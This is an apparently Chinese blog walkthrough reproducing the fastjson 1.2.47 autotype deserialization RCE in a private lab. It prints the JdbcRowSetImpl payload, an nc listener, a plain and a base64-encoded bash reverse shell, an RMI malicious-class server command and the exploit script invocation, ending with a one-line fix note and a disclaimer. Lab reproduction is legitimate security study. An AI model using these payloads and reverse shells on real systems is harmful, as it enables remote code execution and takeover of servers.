fastjson远程代码执行漏洞复现
漏洞产生原因
fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行漏洞产生。
查看fastjson漏洞利用工具的pyload
payload = """ { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%s", "autoCommit": true } }
漏洞环境
漏洞主机 kali2020 ip地址:192.168.177.137
接收反弹shell主机 kali2018 ip地址:192.168.177.128
运行恶意Java类的主机和含有RMI服务主机 win10物理主机 ip地址:192.168.177.1
kali2020使用docker搭建fastjson1.2.47漏洞环境
漏洞复现
工具下载
https://github.com/zhzyker/exphub/tree/master/
kali 2018 监听端口
nc -lvp 8888
物理机运行RMI服务,加载恶意java类
bash -i >& /dev/tcp/192.168.177.128/8888 0>&1 //转换成可执行代码 java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.177.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
发送反序列化代码漏洞执行命令
python3 fastjson-1.2.47_rce.py http://192.168.177.137:8090 rmi://192.168.177.1:9999/Object
无法反弹shell
查看端口监听情况,反弹shell,都不成功的,在肉鸡上直接执行命令,kali2018直接获取shell:
sudo bash -i >& /dev/tcp/192.168.177.128/8888 0>&1
查看代码发现加载恶意java类时base64编码时源地址写错了,导致代码执行不出去!!!
修改完以后还是不行,进行web访问fastjson地址发现访问不了(kali显示已启动),进行fastjson环境重启,再次访问web没有问题
再次执行上面命令,成功反弹shell
复测完成记得关闭漏洞环境
sudo docker-compose down
漏洞修复
升级最新版本,具体参见漏洞修复
参考链接
https://www.cnblogs.com/renhaoblog/p/13033723.html
https://www.freebuf.com/vuls/178012.html
免责声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !